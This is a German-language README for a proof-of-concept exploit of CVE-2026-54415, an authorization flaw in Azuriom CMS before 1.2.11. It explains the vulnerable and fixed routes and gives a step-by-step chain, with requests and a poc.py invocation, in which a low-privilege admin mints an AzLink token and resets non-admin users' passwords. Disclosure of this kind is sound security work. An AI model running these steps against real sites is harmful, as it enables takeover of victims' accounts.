
PoC für CVE-2026-54415 — Azuriom CMS (<1.2.11) Fehlerhafte Zugriffskontrolle → Kontoübernahme
Fehlende Autorisierung bei den Admin-Server-Verwaltungsrouten in Azuriom CMS < 1.2.11 ermöglicht es jedem Administrator mit niedrigen Privilegien (der nur admin.access besitzt), ein AzLink-Server-Token zu erstellen und jedes Nicht-Admin-Konto zu übernehmen.
| CVE | CVE-2026-54415 |
| Produkt | Azuriom CMS |
| Betroffen | < 1.2.11 |
| Behoben in | 1.2.11 — Commit 4b744bc |
| CWE | CWE-862 (Fehlende Autorisierung), CWE-269 (Unzureichende Privilegienverwaltung) |
| CVSS 3.1 | 8.1 Hoch — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 Hoch — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
Dieser PoC wird zu defensiven und Bildungszwecken gegen eine gepatchte Version veröffentlicht. Führen Sie ihn nur gegen Systeme aus, die Sie besitzen oder für die Sie ausdrücklich autorisiert sind. Aktualisieren Sie auf Azuriom
1.2.11+.
✅ End-to-End gegen eine lokale Azuriom 1.2.10-Instanz verifiziert — Zugriffskontrollumgehung, Token-Erstellung, bestätigte Passwortänderung + Opferanmeldung und die Admin-Schutzgrenze.
In routes/admin.php wird das gesamte Admin-Panel durch eine einzelne can:admin.access-Gruppe geschützt, und jedes sensible Feature soll seine eigene granulare can:admin.*-Middleware hinzufügen. Vor 1.2.11 wurden die Server-Verwaltungsrouten ohne eine solche Middleware ausgeliefert:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
Jeder Benutzer, der überhaupt auf das Admin-Panel zugreifen kann (admin.access), kann daher Server erstellen. Es gab überhaupt keine admin.servers-Berechtigung — sie existierte erst bis zum Fix nicht.
Der Anbieter hat eine neue admin.servers-Berechtigung erstellt und die Routen darin eingeschlossen:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
Derselbe Commit fügte auch die zuvor fehlenden Berechtigungsprüfungen zu den Routen social-links und pages/posts.attachments hinzu.
Die Erstellung eines Servers generiert ein 32-stelliges Server-Token (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
Dieses Token authentifiziert die AzLink-API (routes/api.php), deren VerifyServerToken-Middleware jeder Anfrage mit einem gültigen Azuriom-Link-Token-Header vertraut. AzLink stellt Endpunkte zur Kontoverwaltung bereit:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword verweigert nur, wenn das Ziel isAdmin() ist — jedes Nicht-Admin-Konto ist übernehmbar:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
Die Servererstellung ruft $server->bridge()->verifyLink() vor dem Speichern auf. Für den Typ mc-azlink ist dies bedingungslos wahr:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
Der Angreifer gibt also eine beliebige Dummy-address an, der Server wird trotzdem gespeichert, und das frische Token wird im Panel im AzLink-Setup-Befehl angezeigt (/azlink setup <url> <token>).
1. Authenticate as a low-priv admin (only admin.access — NO admin.servers, which didn't exist)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → server saved, token minted
3. GET /admin/servers/{id}/edit → read token from setup command
4. POST /api/azlink/password (header Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. Log in as the victim → full account takeover
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
Das Skript meldet sich an, erstellt ein Server-Token, extrahiert es, setzt das Passwort des Opfers über AzLink zurück und gibt das Token + Ergebnis aus. Siehe poc.py --help für alle Flags. Erfordert requests (pip install requests).
1.2.11 oder höher.admin_servers und widerrufen Sie unerwartete Server-Token.admin.access besitzen.1.2.11MIT — nur für autorisierte Sicherheitstests und Forschung.